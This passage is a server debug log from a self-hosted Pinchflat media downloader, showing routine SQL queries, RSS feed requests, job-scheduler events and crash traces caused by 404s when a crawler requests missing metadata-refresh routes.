s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:10:27.679 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=36.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2437] 02:10:27.680 [debug] QUERY OK source="settings" db=0.2ms idle=36.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:27.681 [debug] QUERY OK source="settings" db=0.2ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:27.682 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:27.683 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:10:27.687 [info] Sent 200 in 11ms 02:10:55.626 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:10:56.465 [info] GET /sources/2fa770cd-8dc6-49fa-a254-f1443213406b/feed.xml 02:10:56.465 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "2fa770cd-8dc6-49fa-a254-f1443213406b"} Pipelines: [:maybe_basic_auth] 02:10:56.478 [debug] QUERY OK source="sources" db=12.4ms idle=839.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["2fa770cd-8dc6-49fa-a254-f1443213406b"] 02:10:56.481 [debug] QUERY OK source="media_items" db=2.4ms idle=835.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [3, 2000] 02:10:56.504 [debug] QUERY OK source="source_metadata" db=16.4ms idle=844.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [3] 02:10:56.504 [debug] QUERY OK source="media_metadata" db=0.3ms idle=861.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [3296] 02:10:56.505 [info] Sent 200 in 39ms 02:11:00.261 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:04.772 [info] GET /sources/d3719011-0a3c-441d-9512-5a8e85a6159a/feed.xml 02:11:04.772 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d3719011-0a3c-441d-9512-5a8e85a6159a"} Pipelines: [:maybe_basic_auth] 02:11:04.773 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1130.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d3719011-0a3c-441d-9512-5a8e85a6159a"] 02:11:04.782 [debug] QUERY OK source="media_items" db=7.8ms idle=1130.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [4, 2000] 02:11:04.803 [debug] QUERY OK source="source_metadata" db=0.2ms idle=1159.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [4] 02:11:04.803 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1160.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102352] 02:11:04.805 [info] Sent 200 in 32ms 02:11:25.628 [info] {"source":"oban","duration":1471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:43.501 [info] GET /sources/3/force_metadata_refresh 02:11:43.502 [info] GET /sources/4/force_metadata_refresh 02:11:43.502 [debug] QUERY OK source="settings" db=0.6ms queue=0.2ms idle=858.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:43.503 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=859.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:43.503 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=859.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:43.503 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:11:43.504 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=860.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:43.504 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:11:43.505 [error] #PID<0.255665.0> running PinchflatWeb.Endpoint (connection #PID<0.255663.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36308}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255665.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC7ZqePRegNvXgAJo3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36308}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36308}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255665.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 02:11:43.505 [error] #PID<0.255666.0> running PinchflatWeb.Endpoint (connection #PID<0.255664.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/4/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255664.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36316}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255666.0>, params: %{}, path_info: ["sources", "4", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/4/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC7ZqeYQrqSs0gAJo4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255664.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36316}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/4/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255664.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/4/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 36316}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255666.0>, params: %{}, path_info: ["sources", "4", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 02:11:55.630 [info] {"source":"oban","duration":1161,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:12:00.262 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:12:07.941 [info] GET /sources/4/media/102352 02:12:07.942 [info] GET /sources/3/media/3299 02:12:07.942 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102352", "source_id" => "4"} Pipelines: [:browser] 02:12:07.942 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3299", "source_id" => "3"} Pipelines: [:browser] 02:12:07.943 [debug] QUERY OK source="media_items" db=0.6ms idle=1299.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102352] 02:12:07.943 [debug] QUERY OK source="media_items" db=0.5ms idle=1299.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3299] 02:12:07.944 [debug] QUERY OK source="tasks" db=0.5ms idle=1300.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102352] 02:12:07.944 [debug] QUERY OK source="tasks" db=0.8ms idle=858.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3299] 02:12:07.945 [debug] QUERY OK source="sources" db=1.6ms idle=300.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:12:07.945 [debug] QUERY OK source="sources" db=1.7ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:12:07.946 [debug] QUERY OK source="settings" db=0.6ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:07.946 [debug] QUERY OK source="oban_jobs" db=0.7ms queue=0.1ms idle=2.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2580] 02:12:07.947 [debug] QUERY OK source="settings" db=0.3ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:07.947 [debug] QUERY OK source="settings" db=0.2ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:07.948 [debug] QUERY OK source="settings" db=0.4ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:12:07.948 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 